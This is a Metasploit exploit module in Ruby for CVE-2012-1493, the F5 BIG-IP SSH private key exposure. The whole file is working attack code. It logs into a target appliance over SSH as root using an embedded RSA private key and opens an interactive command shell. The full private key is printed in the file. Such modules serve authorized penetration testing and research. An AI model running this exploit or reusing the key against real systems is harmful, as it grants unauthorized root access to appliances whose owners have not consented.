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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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require 'net/ssh/command_stream'
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require 'rex/socket/ssh_factory'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::Remote::SSH
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'F5 BIG-IP SSH Private Key Exposure',
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        'Description' => %q{
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          F5 ships a public/private key pair on BIG-IP appliances that allows
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          passwordless authentication to any other BIG-IP box. Since the key is
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          easily retrievable, an attacker can use it to gain unauthorized remote
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          access as root.
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        },
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Privileged' => true,
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        'Targets' => [ [ 'Universal', {} ] ],
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        'Payload' => {
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          'Compat' => {
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            'PayloadType' => 'cmd_interact',
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            'ConnectionType' => 'find'
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          }
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        },
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        'Author' => ['egypt'],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
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          [ 'CVE', '2012-1493' ],
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          [ 'OSVDB', '82780' ],
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          [ 'URL', 'https://www.rapid7.com/blog/post/2012/06/25/press-f5-for-root-shell' ],
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          [ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]
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        ],
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        'DisclosureDate' => '2012-06-11',
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        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => []
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        }
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      )
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    )
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    register_options(
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      [
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        # Since we don't include Tcp, we have to register this manually
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        Opt::RHOST(),
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        Opt::RPORT(22)
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      ], self.class
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    )
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    register_advanced_options(
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      [
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        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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      ]
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    )
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  end
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  # helper methods that normally come from Tcp
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  def rhost
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    datastore['RHOST']
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  end
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  def rport
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    datastore['RPORT']
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  end
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  def do_login(user)
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    opt_hash = ssh_client_defaults.merge({
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      auth_methods: ['publickey'],
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      port: rport,
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      key_data: [ key_data ]
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    })
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    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
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    begin
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      ssh_socket = nil
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      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
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      end
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    rescue Rex::ConnectionError
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      return
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    rescue Net::SSH::Disconnect, ::EOFError
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      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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      return
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    rescue ::Timeout::Error
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      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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      return
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    rescue Net::SSH::AuthenticationFailed
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      print_error "#{rhost}:#{rport} SSH - Failed authentication"
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    rescue Net::SSH::Exception => e
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      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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      return
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    end
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    return false unless ssh_socket
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    # Create a new session from the socket, then dump it.
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    conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)
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    ssh_socket = nil
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    conn
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  end
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  def exploit
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    conn = do_login('root')
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    if conn
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      print_good 'Successful login'
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      handler(conn.lsock)
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    end
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  end
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  def key_data
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    <<~EOF
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      -----BEGIN RSA PRIVATE KEY-----
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      MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
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      UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
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      OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
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      gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
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      8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
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      7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
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      2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
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      37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
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      RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
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      rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
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      uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
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      Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
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      LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
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      -----END RSA PRIVATE KEY-----
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    EOF
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  end
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end
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